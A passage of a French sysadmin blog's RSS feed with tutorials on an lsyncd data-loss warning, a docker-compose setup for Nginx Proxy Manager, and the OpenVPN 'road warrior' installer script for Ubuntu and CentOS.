</code></pre><br/>
<h2 id="warning">Warning</h2>
<p><strong>Attention</strong>, lors d&rsquo;un redémarrage de serveur toutes mes données ont été effacées sur le serveur de backup. Je synchronise le raid md0 vers md1.
Après un reboot, le raid md1 a été remonté mais pas md0. Ne voyant plus le disque source, <code>lsyncd</code> a effacé le contenu de md1&hellip;</p>
<p>Pour éviter cela, ajouter l&rsquo;option <code>delete = false,</code> dans le fichier <code>/etc/lsyncd/lsyncd.conf.lua</code> et redémarrer le service <code>systemctl start lsyncd</code>.</p>
<br/>
<h2 id="ressource">Ressource</h2>
<p><a href="https://linoxide.com/tools/setup-lsyncd-sync-directories/">https://linoxide.com/tools/setup-lsyncd-sync-directories/</a></p>
]]></content>
        </item>
        
        <item>
            <title>Reverse Proxy manager Nginx</title>
            <link>https://leandeep.com/reverse-proxy-manager-nginx/</link>
            <pubDate>Mon, 16 Mar 2020 23:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/reverse-proxy-manager-nginx/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article nous allons voir comment installer le reverse proxy manager Nginx &lt;a href=&#34;https://nginxproxymanager.com/&#34;&gt;nginxproxymanager&lt;/a&gt;. Ce manager est vraiment très bien. Il permet par exemple de facilement créer des ACLs, définir des proxy hosts, rediretions, page custom 404, d&amp;rsquo;avoir de l&amp;rsquo;audit, créer des certificats let&amp;rsquo;s encrypt, activer l&amp;rsquo;HTTP/2, l&amp;rsquo;HSTS. Il est vraiment top gun ce projet. C&amp;rsquo;est un concurrent de Traefik.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;p&gt;Dans un répertoire par exemple &lt;code&gt;mkdir ~/nginxproxymanager &amp;amp;&amp;amp; cd ~/nginxproxymanager&lt;/code&gt;, créer les 2 dossiers suivants: &lt;code&gt;data&lt;/code&gt; et &lt;code&gt;letsencrypt&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article nous allons voir comment installer le reverse proxy manager Nginx <a href="https://nginxproxymanager.com/">nginxproxymanager</a>. Ce manager est vraiment très bien. Il permet par exemple de facilement créer des ACLs, définir des proxy hosts, rediretions, page custom 404, d&rsquo;avoir de l&rsquo;audit, créer des certificats let&rsquo;s encrypt, activer l&rsquo;HTTP/2, l&rsquo;HSTS. Il est vraiment top gun ce projet. C&rsquo;est un concurrent de Traefik.</p>
<br/>
<h2 id="installation">Installation</h2>
<p>Dans un répertoire par exemple <code>mkdir ~/nginxproxymanager &amp;&amp; cd ~/nginxproxymanager</code>, créer les 2 dossiers suivants: <code>data</code> et <code>letsencrypt</code></p>
<br/>
<p>Créer ensuite un fichier <code>docker-compose.yml</code>:</p>
<pre tabindex="0"><code>version: &#34;3&#34;
services:
  app:
    image: jc21/nginx-proxy-manager:2
    restart: always
    ports:
      # Public HTTP Port:
      - &#39;80:80&#39;
      # Public HTTPS Port:
      - &#39;443:443&#39;
      # Admin Web Port:
      - &#39;81:81&#39;
    volumes:
      # Make sure this config.json file exists as per instructions above:
      - ./config.json:/app/config/production.json
      - ./data:/data
      - ./letsencrypt:/etc/letsencrypt
    depends_on:
      - db
  db:
    image: jc21/mariadb-aria:10.4
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: &#34;npm&#34;
      MYSQL_DATABASE: &#34;npm&#34;
      MYSQL_USER: &#34;npm&#34;
      MYSQL_PASSWORD: &#34;npm&#34;
    volumes:
      - ./data/mysql:/var/lib/mysql
</code></pre><br/>
<p>Enfin créer un fichier <code>config.json</code>:</p>
<pre tabindex="0"><code>{
  &#34;name&#34;: &#34;Nginx Proxy Manager&#34;,
  &#34;version&#34;: &#34;6093335&#34;,
  &#34;slug&#34;: &#34;nginxproxymanager&#34;,
  &#34;description&#34;: &#34;Manage Nginx proxy hosts with a simple, powerful interface&#34;,
  &#34;url&#34;: &#34;https://github.com/hassio-addons/addon-nginx-proxy-manager&#34;,
  &#34;webui&#34;: &#34;http://[HOST]:[PORT:81]&#34;,
  &#34;startup&#34;: &#34;application&#34;,
  &#34;arch&#34;: [
    &#34;aarch64&#34;,
    &#34;amd64&#34;,
    &#34;armhf&#34;,
    &#34;armv7&#34;,
    &#34;i386&#34;
  ],
  &#34;services&#34;: [
    &#34;mysql:need&#34;
  ],
  &#34;ports&#34;: {
    &#34;80&#34;: 80,
    &#34;81&#34;: 81,
    &#34;443&#34;: 443
  },
  &#34;ports_description&#34;: {
    &#34;80&#34;: &#34;HTTP Entrance port&#34;,
    &#34;81&#34;: &#34;Proxy management web interface&#34;,
    &#34;443&#34;: &#34;HTTPS/SSL Entrance port&#34;
  },
  &#34;boot&#34;: &#34;auto&#34;,
  &#34;hassio_api&#34;: true,
  &#34;hassio_role&#34;: &#34;default&#34;,
  &#34;map&#34;: [
    &#34;ssl:rw&#34;,
    &#34;backup:rw&#34;
  ],
  &#34;options&#34;: {},
  &#34;schema&#34;: {
    &#34;log_level&#34;: &#34;list(trace|debug|info|notice|warning|error|fatal)?&#34;
  },
  &#34;image&#34;: &#34;hassioaddons/nginxproxymanager-{arch}&#34;
}
</code></pre><br/>
<p>Configurer le port forward pour les ports 80 et 443 sur votre box vers le host sur lequel est installé le reverse proxy.</p>
<br/>
<h2 id="démarrer-du-proxy">Démarrer du proxy</h2>
<pre tabindex="0"><code>docker-compose up -d
</code></pre><br/>
<h2 id="résultat">Résultat</h2>
<p><img src="/images/reverse-proxy-nginx-gui.png" alt="image"></p>
<br/>
<p>Rendez vous à l&rsquo;adresse suivante pour accéder à l&rsquo;interface d&rsquo;admin: http://DNS_HOST:81/nginx/proxy</p>
]]></content>
        </item>
        
        <item>
            <title>Créer un serveur OpenVPN en 5 minutes</title>
            <link>https://leandeep.com/cr%C3%A9er-un-serveur-openvpn-en-5-minutes/</link>
            <pubDate>Thu, 12 Mar 2020 19:35:00 +0200</pubDate>
            
            <guid>https://leandeep.com/cr%C3%A9er-un-serveur-openvpn-en-5-minutes/</guid>
            <description>&lt;p&gt;Dans cet article, vous trouverez un script permettant de créer une serveur OpenVPN sur Ubuntu 18.04.&lt;/p&gt;
&lt;p&gt;En sortie du script, un fichier config.ovpn sera créé. Il suffit de l&amp;rsquo;ajouter à un client VPN (i.e. tunnelblick sur Mac) et d&amp;rsquo;établir une connexion.&lt;/p&gt;
&lt;p&gt;Vous pourrez vous connecter à la machine sur laquelle est installée le serveur VPN. Il suffit d&amp;rsquo;exécutez la commande &lt;code&gt;ssh VOTRE_USER@10.8.0.1&lt;/code&gt;&amp;hellip;&lt;/p&gt;
&lt;p&gt;Voici le fameux script:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#!/bin/bash

if grep -qs &amp;#34;Ubuntu 16.04&amp;#34; &amp;#34;/etc/os-release&amp;#34;; then
	echo &amp;#39;Ubuntu 16.04 is no longer supported in the current version of openvpn-install
Use an older version if Ubuntu 16.04 support is needed: https://git.io/vpn1604&amp;#39;
	exit
fi

# Detect Debian users running the script with &amp;#34;sh&amp;#34; instead of bash
if readlink /proc/$$/exe | grep -q &amp;#34;dash&amp;#34;; then
	echo &amp;#34;This script needs to be run with bash, not sh&amp;#34;
	exit
fi

if [[ &amp;#34;$EUID&amp;#34; -ne 0 ]]; then
	echo &amp;#34;Sorry, you need to run this as root&amp;#34;
	exit
fi

if [[ ! -e /dev/net/tun ]]; then
	echo &amp;#34;The TUN device is not available
You need to enable TUN before running this script&amp;#34;
	exit
fi

if [[ -e /etc/debian_version ]]; then
	OS=debian
	GROUPNAME=nogroup
elif [[ -e /etc/centos-release || -e /etc/redhat-release ]]; then
	OS=centos
	GROUPNAME=nobody
else
	echo &amp;#34;Looks like you aren&amp;#39;t running this installer on Debian, Ubuntu or CentOS&amp;#34;
	exit
fi

newclient () {
	# Generates the custom client.ovpn
	cp /etc/openvpn/server/client-common.txt ~/$1.ovpn
	echo &amp;#34;&amp;lt;ca&amp;gt;&amp;#34; &amp;gt;&amp;gt; ~/$1.ovpn
	cat /etc/openvpn/server/easy-rsa/pki/ca.crt &amp;gt;&amp;gt; ~/$1.ovpn
	echo &amp;#34;&amp;lt;/ca&amp;gt;&amp;#34; &amp;gt;&amp;gt; ~/$1.ovpn
	echo &amp;#34;&amp;lt;cert&amp;gt;&amp;#34; &amp;gt;&amp;gt; ~/$1.ovpn
	sed -ne &amp;#39;/BEGIN CERTIFICATE/,$ p&amp;#39; /etc/openvpn/server/easy-rsa/pki/issued/$1.crt &amp;gt;&amp;gt; ~/$1.ovpn
	echo &amp;#34;&amp;lt;/cert&amp;gt;&amp;#34; &amp;gt;&amp;gt; ~/$1.ovpn
	echo &amp;#34;&amp;lt;key&amp;gt;&amp;#34; &amp;gt;&amp;gt; ~/$1.ovpn
	cat /etc/openvpn/server/easy-rsa/pki/private/$1.key &amp;gt;&amp;gt; ~/$1.ovpn
	echo &amp;#34;&amp;lt;/key&amp;gt;&amp;#34; &amp;gt;&amp;gt; ~/$1.ovpn
	echo &amp;#34;&amp;lt;tls-auth&amp;gt;&amp;#34; &amp;gt;&amp;gt; ~/$1.ovpn
	sed -ne &amp;#39;/BEGIN OpenVPN Static key/,$ p&amp;#39; /etc/openvpn/server/ta.key &amp;gt;&amp;gt; ~/$1.ovpn
	echo &amp;#34;&amp;lt;/tls-auth&amp;gt;&amp;#34; &amp;gt;&amp;gt; ~/$1.ovpn
}

if [[ -e /etc/openvpn/server/server.conf ]]; then
	while :
	do
	clear
		echo &amp;#34;Looks like OpenVPN is already installed.&amp;#34;
		echo
		echo &amp;#34;What do you want to do?&amp;#34;
		echo &amp;#34;   1) Add a new user&amp;#34;
		echo &amp;#34;   2) Revoke an existing user&amp;#34;
		echo &amp;#34;   3) Remove OpenVPN&amp;#34;
		echo &amp;#34;   4) Exit&amp;#34;
		read -p &amp;#34;Select an option [1-4]: &amp;#34; option
		case $option in
			1) 
			echo
			echo &amp;#34;Tell me a name for the client certificate.&amp;#34;
			echo &amp;#34;Please, use one word only, no special characters.&amp;#34;
			read -p &amp;#34;Client name: &amp;#34; -e CLIENT
			cd /etc/openvpn/server/easy-rsa/
			EASYRSA_CERT_EXPIRE=3650 ./easyrsa build-client-full $CLIENT nopass
			# Generates the custom client.ovpn
			newclient &amp;#34;$CLIENT&amp;#34;
			echo
			echo &amp;#34;Client $CLIENT added, configuration is available at:&amp;#34; ~/&amp;#34;$CLIENT.ovpn&amp;#34;
			exit
			;;
			2)
			# This option could be documented a bit better and maybe even be simplified
			# ...but what can I say, I want some sleep too
			NUMBEROFCLIENTS=$(tail -n +2 /etc/openvpn/server/easy-rsa/pki/index.txt | grep -c &amp;#34;^V&amp;#34;)
			if [[ &amp;#34;$NUMBEROFCLIENTS&amp;#34; = &amp;#39;0&amp;#39; ]]; then
				echo
				echo &amp;#34;You have no existing clients!&amp;#34;
				exit
			fi
			echo
			echo &amp;#34;Select the existing client certificate you want to revoke:&amp;#34;
			tail -n +2 /etc/openvpn/server/easy-rsa/pki/index.txt | grep &amp;#34;^V&amp;#34; | cut -d &amp;#39;=&amp;#39; -f 2 | nl -s &amp;#39;) &amp;#39;
			if [[ &amp;#34;$NUMBEROFCLIENTS&amp;#34; = &amp;#39;1&amp;#39; ]]; then
				read -p &amp;#34;Select one client [1]: &amp;#34; CLIENTNUMBER
			else
				read -p &amp;#34;Select one client [1-$NUMBEROFCLIENTS]: &amp;#34; CLIENTNUMBER
			fi
			CLIENT=$(tail -n +2 /etc/openvpn/server/easy-rsa/pki/index.txt | grep &amp;#34;^V&amp;#34; | cut -d &amp;#39;=&amp;#39; -f 2 | sed -n &amp;#34;$CLIENTNUMBER&amp;#34;p)
			echo
			read -p &amp;#34;Do you really want to revoke access for client $CLIENT? [y/N]: &amp;#34; -e REVOKE
			if [[ &amp;#34;$REVOKE&amp;#34; = &amp;#39;y&amp;#39; || &amp;#34;$REVOKE&amp;#34; = &amp;#39;Y&amp;#39; ]]; then
				cd /etc/openvpn/server/easy-rsa/
				./easyrsa --batch revoke $CLIENT
				EASYRSA_CRL_DAYS=3650 ./easyrsa gen-crl
				rm -f pki/reqs/$CLIENT.req
				rm -f pki/private/$CLIENT.key
				rm -f pki/issued/$CLIENT.crt
				rm -f /etc/openvpn/server/crl.pem
				cp /etc/openvpn/server/easy-rsa/pki/crl.pem /etc/openvpn/server/crl.pem
				# CRL is read with each client connection, when OpenVPN is dropped to nobody
				chown nobody:$GROUPNAME /etc/openvpn/server/crl.pem
				echo
				echo &amp;#34;Certificate for client $CLIENT revoked!&amp;#34;
			else
				echo
				echo &amp;#34;Certificate revocation for client $CLIENT aborted!&amp;#34;
			fi
			exit
			;;
			3) 
			echo
			read -p &amp;#34;Do you really want to remove OpenVPN? [y/N]: &amp;#34; -e REMOVE
			if [[ &amp;#34;$REMOVE&amp;#34; = &amp;#39;y&amp;#39; || &amp;#34;$REMOVE&amp;#34; = &amp;#39;Y&amp;#39; ]]; then
				PORT=$(grep &amp;#39;^port &amp;#39; /etc/openvpn/server/server.conf | cut -d &amp;#34; &amp;#34; -f 2)
				PROTOCOL=$(grep &amp;#39;^proto &amp;#39; /etc/openvpn/server/server.conf | cut -d &amp;#34; &amp;#34; -f 2)
				if pgrep firewalld; then
					IP=$(firewall-cmd --direct --get-rules ipv4 nat POSTROUTING | grep &amp;#39;\-s 10.8.0.0/24 &amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39;!&amp;#39;&amp;#34;&amp;#39;&amp;#34;&amp;#39; -d 10.8.0.0/24 -j SNAT --to &amp;#39; | cut -d &amp;#34; &amp;#34; -f 10)
					# Using both permanent and not permanent rules to avoid a firewalld reload.
					firewall-cmd --remove-port=$PORT/$PROTOCOL
					firewall-cmd --zone=trusted --remove-source=10.8.0.0/24
					firewall-cmd --permanent --remove-port=$PORT/$PROTOCOL
					firewall-cmd --permanent --zone=trusted --remove-source=10.8.0.0/24
					firewall-cmd --direct --remove-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
					firewall-cmd --permanent --direct --remove-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
				else
					systemctl disable --now openvpn-iptables.service
					rm -f /etc/systemd/system/openvpn-iptables.service
				fi
				if sestatus 2&amp;gt;/dev/null | grep &amp;#34;Current mode&amp;#34; | grep -q &amp;#34;enforcing&amp;#34; &amp;amp;&amp;amp; [[ &amp;#34;$PORT&amp;#34; != &amp;#39;1194&amp;#39; ]]; then
					semanage port -d -t openvpn_port_t -p $PROTOCOL $PORT
				fi
				systemctl disable --now openvpn-server@server.service
				rm -rf /etc/openvpn/server
				rm -f /etc/sysctl.d/30-openvpn-forward.conf
				if [[ &amp;#34;$OS&amp;#34; = &amp;#39;debian&amp;#39; ]]; then
					apt-get remove --purge -y openvpn
				else
					yum remove openvpn -y
				fi
				echo
				echo &amp;#34;OpenVPN removed!&amp;#34;
			else
				echo
				echo &amp;#34;Removal aborted!&amp;#34;
			fi
			exit
			;;
			4) exit;;
		esac
	done
else
	clear
	echo &amp;#39;Welcome to this OpenVPN &amp;#34;road warrior&amp;#34; installer!&amp;#39;
	echo
	# OpenVPN setup and first user creation
	echo &amp;#34;I need to ask you a few questions before starting the setup.&amp;#34;
	echo &amp;#34;You can leave the default options and just press enter if you are ok with them.&amp;#34;
	echo
	echo &amp;#34;First, provide the IPv4 address of the network interface you want OpenVPN&amp;#34;
	echo &amp;#34;listening to.&amp;#34;
	# Autodetect IP address and pre-fill for the user
	IP=$(ip addr | grep &amp;#39;inet&amp;#39; | grep -v inet6 | grep -vE &amp;#39;127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}&amp;#39; | grep -oE &amp;#39;[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}&amp;#39; | head -1)
	read -p &amp;#34;IP address: &amp;#34; -e -i $IP IP
	# If $IP is a private IP address, the server must be behind NAT
	if echo &amp;#34;$IP&amp;#34; | grep -qE &amp;#39;^(10\.|172\.1[6789]\.|172\.2[0-9]\.|172\.3[01]\.|192\.168)&amp;#39;; then
		echo
		echo &amp;#34;This server is behind NAT. What is the public IPv4 address or hostname?&amp;#34;
		read -p &amp;#34;Public IP address / hostname: &amp;#34; -e PUBLICIP
	fi
	echo
	echo &amp;#34;Which protocol do you want for OpenVPN connections?&amp;#34;
	echo &amp;#34;   1) UDP (recommended)&amp;#34;
	echo &amp;#34;   2) TCP&amp;#34;
	read -p &amp;#34;Protocol [1-2]: &amp;#34; -e -i 1 PROTOCOL
	case $PROTOCOL in
		1) 
		PROTOCOL=udp
		;;
		2) 
		PROTOCOL=tcp
		;;
	esac
	echo
	echo &amp;#34;What port do you want OpenVPN listening to?&amp;#34;
	read -p &amp;#34;Port: &amp;#34; -e -i 1194 PORT
	echo
	echo &amp;#34;Which DNS do you want to use with the VPN?&amp;#34;
	echo &amp;#34;   1) Current system resolvers&amp;#34;
	echo &amp;#34;   2) 1.1.1.1&amp;#34;
	echo &amp;#34;   3) Google&amp;#34;
	echo &amp;#34;   4) OpenDNS&amp;#34;
	echo &amp;#34;   5) Verisign&amp;#34;
	read -p &amp;#34;DNS [1-5]: &amp;#34; -e -i 1 DNS
	echo
	echo &amp;#34;Finally, tell me your name for the client certificate.&amp;#34;
	echo &amp;#34;Please, use one word only, no special characters.&amp;#34;
	read -p &amp;#34;Client name: &amp;#34; -e -i client CLIENT
	echo
	echo &amp;#34;Okay, that was all I needed. We are ready to set up your OpenVPN server now.&amp;#34;
	read -n1 -r -p &amp;#34;Press any key to continue...&amp;#34;
	if [[ &amp;#34;$OS&amp;#34; = &amp;#39;debian&amp;#39; ]]; then
		apt-get update
		apt-get install openvpn iptables openssl ca-certificates -y
	else
		# Else, the distro is CentOS
		yum install epel-release -y
		yum install openvpn iptables openssl ca-certificates -y
	fi
	# Get easy-rsa
	EASYRSAURL=&amp;#39;https://github.com/OpenVPN/easy-rsa/releases/download/v3.0.5/EasyRSA-nix-3.0.5.tgz&amp;#39;
	wget -O ~/easyrsa.tgz &amp;#34;$EASYRSAURL&amp;#34; 2&amp;gt;/dev/null || curl -Lo ~/easyrsa.tgz &amp;#34;$EASYRSAURL&amp;#34;
	tar xzf ~/easyrsa.tgz -C ~/
	mv ~/EasyRSA-3.0.5/ /etc/openvpn/server/
	mv /etc/openvpn/server/EasyRSA-3.0.5/ /etc/openvpn/server/easy-rsa/
	chown -R root:root /etc/openvpn/server/easy-rsa/
	rm -f ~/easyrsa.tgz
	cd /etc/openvpn/server/easy-rsa/
	# Create the PKI, set up the CA and the server and client certificates
	./easyrsa init-pki
	./easyrsa --batch build-ca nopass
	EASYRSA_CERT_EXPIRE=3650 ./easyrsa build-server-full server nopass
	EASYRSA_CERT_EXPIRE=3650 ./easyrsa build-client-full $CLIENT nopass
	EASYRSA_CRL_DAYS=3650 ./easyrsa gen-crl
	# Move the stuff we need
	cp pki/ca.crt pki/private/ca.key pki/issued/server.crt pki/private/server.key pki/crl.pem /etc/openvpn/server
	# CRL is read with each client connection, when OpenVPN is dropped to nobody
	chown nobody:$GROUPNAME /etc/openvpn/server/crl.pem
	# Generate key for tls-auth
	openvpn --genkey --secret /etc/openvpn/server/ta.key
	# Create the DH parameters file using the predefined ffdhe2048 group
	echo &amp;#39;-----BEGIN DH PARAMETERS-----
MIIBCAKCAQEA//////////+t+FRYortKmq/cViAnPTzx2LnFg84tNpWp4TZBFGQz
+8yTnc4kmz75fS/jY2MMddj2gbICrsRhetPfHtXV/WVhJDP1H18GbtCFY2VVPe0a
87VXE15/V8k1mE8McODmi3fipona8+/och3xWKE2rec1MKzKT0g6eXq8CrGCsyT7
YdEIqUuyyOP7uWrat2DX9GgdT0Kj3jlN9K5W7edjcrsZCwenyO4KbXCeAvzhzffi
7MA0BM0oNC9hkXL+nOmFg/+OTxIy7vKBg8P+OxtMb61zO7X8vC7CIAXFjvGDfRaD
ssbzSibBsu/6iGtCOGEoXJf//////////wIBAg==
-----END DH PARAMETERS-----&amp;#39; &amp;gt; /etc/openvpn/server/dh.pem
	# Generate server.conf
	echo &amp;#34;port $PORT
proto $PROTOCOL
dev tun
sndbuf 0
rcvbuf 0
ca ca.crt
cert server.crt
key server.key
dh dh.pem
auth SHA512
tls-auth ta.key 0
topology subnet
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt&amp;#34; &amp;gt; /etc/openvpn/server/server.conf
	echo &amp;#39;push &amp;#34;redirect-gateway def1 bypass-dhcp&amp;#34;&amp;#39; &amp;gt;&amp;gt; /etc/openvpn/server/server.conf
	# DNS
	case $DNS in
		1)
		# Locate the proper resolv.conf
		# Needed for systems running systemd-resolved
		if grep -q &amp;#34;127.0.0.53&amp;#34; &amp;#34;/etc/resolv.conf&amp;#34;; then
			RESOLVCONF=&amp;#39;/run/systemd/resolve/resolv.conf&amp;#39;
		else
			RESOLVCONF=&amp;#39;/etc/resolv.conf&amp;#39;
		fi
		# Obtain the resolvers from resolv.conf and use them for OpenVPN
		grep -v &amp;#39;#&amp;#39; $RESOLVCONF | grep &amp;#39;nameserver&amp;#39; | grep -E -o &amp;#39;[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}&amp;#39; | while read line; do
			echo &amp;#34;push \&amp;#34;dhcp-option DNS $line\&amp;#34;&amp;#34; &amp;gt;&amp;gt; /etc/openvpn/server/server.conf
		done
		;;
		2)
		echo &amp;#39;push &amp;#34;dhcp-option DNS 1.1.1.1&amp;#34;&amp;#39; &amp;gt;&amp;gt; /etc/openvpn/server/server.conf
		echo &amp;#39;push &amp;#34;dhcp-option DNS 1.0.0.1&amp;#34;&amp;#39; &amp;gt;&amp;gt; /etc/openvpn/server/server.conf
		;;
		3)
		echo &amp;#39;push &amp;#34;dhcp-option DNS 8.8.8.8&amp;#34;&amp;#39; &amp;gt;&amp;gt; /etc/openvpn/server/server.conf
		echo &amp;#39;push &amp;#34;dhcp-option DNS 8.8.4.4&amp;#34;&amp;#39; &amp;gt;&amp;gt; /etc/openvpn/server/server.conf
		;;
		4)
		echo &amp;#39;push &amp;#34;dhcp-option DNS 208.67.222.222&amp;#34;&amp;#39; &amp;gt;&amp;gt; /etc/openvpn/server/server.conf
		echo &amp;#39;push &amp;#34;dhcp-option DNS 208.67.220.220&amp;#34;&amp;#39; &amp;gt;&amp;gt; /etc/openvpn/server/server.conf
		;;
		5)
		echo &amp;#39;push &amp;#34;dhcp-option DNS 64.6.64.6&amp;#34;&amp;#39; &amp;gt;&amp;gt; /etc/openvpn/server/server.conf
		echo &amp;#39;push &amp;#34;dhcp-option DNS 64.6.65.6&amp;#34;&amp;#39; &amp;gt;&amp;gt; /etc/openvpn/server/server.conf
		;;
	esac
	echo &amp;#34;keepalive 10 120
cipher AES-256-CBC
user nobody
group $GROUPNAME
persist-key
persist-tun
status openvpn-status.log
verb 3
crl-verify crl.pem&amp;#34; &amp;gt;&amp;gt; /etc/openvpn/server/server.conf
	# Enable net.ipv4.ip_forward for the system
	echo &amp;#39;net.ipv4.ip_forward=1&amp;#39; &amp;gt; /etc/sysctl.d/30-openvpn-forward.conf
	# Enable without waiting for a reboot or service restart
	echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward
	if pgrep firewalld; then
		# Using both permanent and not permanent rules to avoid a firewalld
		# reload.
		# We don&amp;#39;t use --add-service=openvpn because that would only work with
		# the default port and protocol.
		firewall-cmd --add-port=$PORT/$PROTOCOL
		firewall-cmd --zone=trusted --add-source=10.8.0.0/24
		firewall-cmd --permanent --add-port=$PORT/$PROTOCOL
		firewall-cmd --permanent --zone=trusted --add-source=10.8.0.0/24
		# Set NAT for the VPN subnet
		firewall-cmd --direct --add-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
		firewall-cmd --permanent --direct --add-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
	else
		# Create a service to set up persistent iptables rules
		echo &amp;#34;[Unit]
Before=network.target
[Service]
Type=oneshot
ExecStart=/sbin/iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
ExecStart=/sbin/iptables -I INPUT -p $PROTOCOL --dport $PORT -j ACCEPT
ExecStart=/sbin/iptables -I FORWARD -s 10.8.0.0/24 -j ACCEPT
ExecStart=/sbin/iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
ExecStop=/sbin/iptables -t nat -D POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
ExecStop=/sbin/iptables -D INPUT -p $PROTOCOL --dport $PORT -j ACCEPT
ExecStop=/sbin/iptables -D FORWARD -s 10.8.0.0/24 -j ACCEPT
ExecStop=/sbin/iptables -D FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
RemainAfterExit=yes
[Install]
WantedBy=multi-user.target&amp;#34; &amp;gt; /etc/systemd/system/openvpn-iptables.service
		systemctl enable --now openvpn-iptables.service
	fi
	# If SELinux is enabled and a custom port was selected, we need this
	if sestatus 2&amp;gt;/dev/null | grep &amp;#34;Current mode&amp;#34; | grep -q &amp;#34;enforcing&amp;#34; &amp;amp;&amp;amp; [[ &amp;#34;$PORT&amp;#34; != &amp;#39;1194&amp;#39; ]]; then
		# Install semanage if not already present
		if ! hash semanage 2&amp;gt;/dev/null; then
			if grep -qs &amp;#34;CentOS Linux release 7&amp;#34; &amp;#34;/etc/centos-release&amp;#34;; then
				yum install policycoreutils-python -y
			else
				yum install policycoreutils-python-utils -y
			fi
		fi
		semanage port -a -t openvpn_port_t -p $PROTOCOL $PORT
	fi
	# And finally, enable and start the OpenVPN service
	systemctl enable --now openvpn-server@server.service
	# If the server is behind a NAT, use the correct IP address
	if [[ &amp;#34;$PUBLICIP&amp;#34; != &amp;#34;&amp;#34; ]]; then
		IP=$PUBLICIP
	fi
	# client-common.txt is created so we have a template to add further users later
	echo &amp;#34;client
dev tun
proto $PROTOCOL
sndbuf 0
rcvbuf 0
remote $IP $PORT
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
auth SHA512
cipher AES-256-CBC
setenv opt block-outside-dns
key-direction 1
verb 3&amp;#34; &amp;gt; /etc/openvpn/server/client-common.txt
	# Generates the custom client.ovpn
	newclient &amp;#34;$CLIENT&amp;#34;
	echo
	echo &amp;#34;Finished!&amp;#34;
	echo
	echo &amp;#34;Your client configuration is available at:&amp;#34; ~/&amp;#34;$CLIENT.ovpn&amp;#34;
	echo &amp;#34;If you want to add more clients, you simply need to run this script again!&amp;#34;
fi
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;configurer-ssh-sur-raspberry-pi-et-ubuntu-mate-facultatif&#34;&gt;Configurer SSH sur raspberry pi et Ubuntu Mate (facultatif)&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo systemctl enable ssh
sudo service ssh restart

sudo dpkg-reconfigure openssh-server
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;configurer-un-client-openvpn&#34;&gt;Configurer un client OpenVPN&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt-get install openvpn
sudo openvpn --config /path/to/config.ovpn
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Pour rendre la connexion permanente, éditer le fichier &lt;code&gt;/etc/default/openvpn&lt;/code&gt; et décommenter la ligne &lt;code&gt;AUTOSTART=&amp;quot;all&amp;quot;&lt;/code&gt; et copier le fichier &lt;code&gt;.ovpn&lt;/code&gt; comme ceci (attention à bien renommer l&amp;rsquo;extension): &lt;code&gt;/etc/openvpn/config.conf&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article, vous trouverez un script permettant de créer une serveur OpenVPN sur Ubuntu 18.04.</p>
<p>En sortie du script, un fichier config.ovpn sera créé. Il suffit de l&rsquo;ajouter à un client VPN (i.e. tunnelblick sur Mac) et d&rsquo;établir une connexion.</p>
<p>Vous pourrez vous connecter à la machine sur laquelle est installée le serveur VPN. Il suffit d&rsquo;exécutez la commande <code>ssh VOTRE_USER@10.8.0.1</code>&hellip;</p>
<p>Voici le fameux script:</p>
<pre tabindex="0"><code>#!/bin/bash

if grep -qs &#34;Ubuntu 16.04&#34; &#34;/etc/os-release&#34;; then
	echo &#39;Ubuntu 16.04 is no longer supported in the current version of openvpn-install
Use an older version if Ubuntu 16.04 support is needed: https://git.io/vpn1604&#39;
	exit
fi

# Detect Debian users running the script with &#34;sh&#34; instead of bash
if readlink /proc/$$/exe | grep -q &#34;dash&#34;; then
	echo &#34;This script needs to be run with bash, not sh&#34;
	exit
fi

if [[ &#34;$EUID&#34; -ne 0 ]]; then
	echo &#34;Sorry, you need to run this as root&#34;
	exit
fi

if [[ ! -e /dev/net/tun ]]; then
	echo &#34;The TUN device is not available
You need to enable TUN before running this script&#34;
	exit
fi

if [[ -e /etc/debian_version ]]; then
	OS=debian
	GROUPNAME=nogroup
elif [[ -e /etc/centos-release || -e /etc/redhat-release ]]; then
	OS=centos
	GROUPNAME=nobody
else
	echo &#34;Looks like you aren&#39;t running this installer on Debian, Ubuntu or CentOS&#34;
	exit
fi

newclient () {
	# Generates the custom client.ovpn
	cp /etc/openvpn/server/client-common.txt ~/$1.ovpn
	echo &#34;&lt;ca&gt;&#34; &gt;&gt; ~/$1.ovpn
